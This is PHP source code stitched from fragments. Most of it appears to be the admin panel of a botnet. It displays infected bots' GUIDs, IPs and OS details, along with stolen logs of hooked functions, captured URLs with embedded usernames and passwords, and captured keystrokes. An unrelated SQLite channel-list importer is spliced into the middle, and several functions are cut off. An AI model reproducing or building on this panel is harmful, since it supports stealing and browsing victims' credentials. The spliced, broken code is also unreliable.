}
if (!mysqli_num_rows($res)) {
$content = "<center><font class='error'>ERROR</font> : cannot find info bot this bot : <b>{$guid}</b> or <b>{$guid2}</b> or <b>{$guid3}</b></center>";
require_once 'frm_skelet.php';
echo get_skelet('Detail info for selected bot', $content);
exit;
}
}
list($id, $ip, $bot_guid, $bot_version, $local_time, $timezone, $tick_time, $os_version, $language_id, $date_rep) = mysqli_fetch_row($res);
$content .= "<table width='430' border='1' cellspacing='0' cellpadding='3' style='border: 1px solid lightgray; font-size: 9px; border-collapse: collapse; background-color: rgb(255, 255, 255);'>";
$content .= "<tr><td width='100px'><b>id</b></td><td>{$id}</td></tr>";
$content .= "<tr><td width='100px'><b>ip</b></td><td>{$ip}</td></tr>";
$content .= "<tr><td width='100px'><b>bot_guid</b></td><td>{$bot_guid}</td></tr>";
$content .= "<tr><td width='100px'><b>bot_version</b></td><td>{$bot_version}</td></tr>";
$content .= "<tr><td width='100px'><b>local_time</b></td><td>{$local_time}</td></tr>";
$timezone = ucs2html($timezone);
$content .= "<tr><td width='100px'><b>timezone</b></td><td>{$timezone}</td></tr>";
//list($year, $month, $day, $hour, $minute, $second) = split('[ :\/.-]', $tick_time);
//$day = intval($day);
//$hour = intval($hour);
//$min = intval($minute);
//$sec = intval($second);
//$hour = ($day - 1) * 24 + $hour;
$datestring = gmdate("H:i:s", $tick_time);
$content .= "<tr><td width='100px'><b>tick_time</b></td><td>{$datestring}</td></tr>";
$content .= "<tr><td width='100px'><b>os_version</b></td><td>{$os_version}</td></tr>";
$content .= "<tr><td width='100px'><b>language_id</b></td><td>{$language_id}</td></tr>";
$content .= "<tr><td width='100px'><b>date_rep</b></td><td>{$date_rep}</td></tr>";
$content .= "</table>";
db_close($dbase);
?>
// readable stuff
$data = str_replace('&', "\n", $data);
$tmp = "<center>" . "<table width='730' border='1' cellspacing='0' cellpadding='3' style='border: 1px solid #BBBBBB; font-size: 9px; border-collapse: collapse; background-color: #4992a7;'>" . "<th style=' color: #EEEEEE;'>id</th>" . "<th style=' color: #EEEEEE;'>bot</th>" . "<th style=' color: #EEEEEE;'>bot_guid</th>" . "<th style=' color: #EEEEEE;'>date_rep</th>" . "<th style=' color: #EEEEEE;'>process_name</th>" . "<th style=' color: #EEEEEE;'>hooked_func</th>" . "<tr align='center' valign='middle' style=' background-color: #cce7ef; '>";
$arr = parse_url($url);
if ($arr['user'] && $arr['pass']) {
$colon = ':';
}
if ($arr['user'] || $arr['pass']) {
$at_sign = '@';
}
if ($arr['query']) {
$qmark = '?';
}
$ucodebot = urlencode($bot_guid);
$tmp .= "<td>{$id}</td>" . "<td><a href='frm_bot.php?guid={$ucodebot}' target='_blank'><img border='0' src='img/info.png'></a></td>" . "<td>{$bot_guid}</td>" . "<td>{$date_rep}</td>" . "<td>{$process_name}</td>" . "<td>{$hooked_func}</td>" . "</tr>" . "<td colspan='10' align='left' valign='middle' style=' background-color: #cce7ef; '>{$arr['scheme']}://<i>{$arr['user']}{$colon}{$arr['pass']}</i>{$at_sign}<b>{$arr['host']}</b>{$arr['path']}{$qmark}{$arr['query']}{$arr['fragment']}</td>" . "</tr>" . "<tr align='center' valign='middle'>" . "<td colspan='10'>";
//$tmp .= "<textarea id='ta' onmouseover='this.style.backgroundColor = \"white\"; this.style.height = this.scrollHeight + \"px\";' onmouseout='this.style.backgroundColor=\"white\"; this.style.height = this.scrollHeight + \"px\";' style=' border-width: 1px; width: 730px; height: 500; background-color: \"white\"; color: #666666; ' readonly >";
$tmp .= "<textarea id='ta' style=' border-width: 1px; width: 730px; height: 500; background-color: \"white\"; color: #666666; ' readonly >";
if (strlen($url) && substr($data, 0, 4) != 'http') {
$data = $url . "\n\n" . $data;
}
$tmp .= $data;
// displaying keys too
if (strlen($keys) != 0) {
$keys = ucs2html($keys);
$tmp .= "\n\nkeys: {$keys}";
}
$tmp .= "</textarea>" . "</td>" . "</tr>" . "</table>" . "</center>" . "<script language='JavaScript'>var ta = document.getElementById('ta'); ta.style.height = ta.scrollHeight + 10 + \"px\";</script>";
$data = $tmp;
require_once 'frm_skelet.php';
echo get_skelet("log({$arr['host']}, {$arr['scheme']}, {$date_rep})", $data, 'div_main');
db_close($dbase);
sleep(3);
if ($db = new PDO("sqlite:{$dbname}")) {
$query = @$db->query("SELECT * FROM {$tablename}");
if ($query === false) {
$db->query("CREATE TABLE {$tablename} (\n\t\t\t\t id INTEGER,\n\t\t\t\t asxl TEXT ,\n\t\t\t\t cntr TEXT ,\n\t\t\t\t gnre TEXT ,\n\t\t\t\t chn TEXT ,\n\t\t PRIMARY KEY ( id));");
// echo "Created $tablename \n";
} else {
// echo "$tablename and $dbname Already exists\n";
}
$db->query("delete from {$tablename}");
$handle = fopen($targetfile, "r") or die("Couldn't get handle");
if ($handle) {
$db->beginTransaction();
while (!feof($handle)) {
$buffer = fgets($handle, 1024);
$buffer = ucs2html($buffer);
$buffer = mb_convert_encoding($buffer, 'UTF-8', $targetenc);
$cln = 0;
if ($country = str_between($buffer, "<li><a href=\"#\">", "</a><ul>")) {
//Country
$country_mem = $country;
$asxnum = 0;
$chname = 0;
} else {
if ($genre = str_between($buffer, "<a href=\"#\">", "</a>")) {
//Genre
$genre_mem = $genre;
$country = 0;
$asxnum = 0;
$chname = 0;
} else {
echo "<td align='left'>" . $user_type . "</td>";
echo "</tr>";
echo "</table>";
echo "<table width='100%' border='1' cellspacing='0' cellpadding='2' style='border: 1px solid lightgray; font-size: 9px; border-collapse: collapse; background-color: #FFFFFF;'>";
echo "<th colspan='2' style='background-color: #666666; color: #FFFFFF'>app</th>";
echo "<tr>";
echo "<td align='right' width='100px'><b>app_path</b></td>";
echo "<td align='left'>" . $app_path . "</td>";
echo "</tr>";
echo "<tr>";
echo "<td align='right' width='100px'><b>app_cname</b></td>";
echo "<td align='left'>" . ucs2html($app_cname) . "</td>";
echo "</tr>";
echo "<tr>";
echo "<td align='right' width='100px'><b>app_pname</b></td>";
echo "<td align='left'>" . ucs2html($app_pname) . "</td>";
echo "</tr>";
echo "<tr>";
echo "<td align='right' width='100px'><b>app_pver</b></td>";
echo "<td align='left'>" . $app_pver . "</td>";
echo "</tr>";
echo "<tr>";
echo "<td align='right' width='100px'><b>app_fver</b></td>";
echo "<td align='left'>" . $app_fver . "</td>";
echo "</tr>";
echo "<tr>";
echo "<td align='right' width='100px'><b>cmodule_name</b></td>";
echo "<td align='left' title='{$cmodule_name}'>" . cutoff($cmodule_name) . "</td>";
echo "</tr>";
echo "</table>";
echo "<table width='100%' border='1' cellspacing='0' cellpadding='2' style='border: 1px solid lightgray; font-size: 9px; border-collapse: collapse; background-color: #FFFFFF;'>";
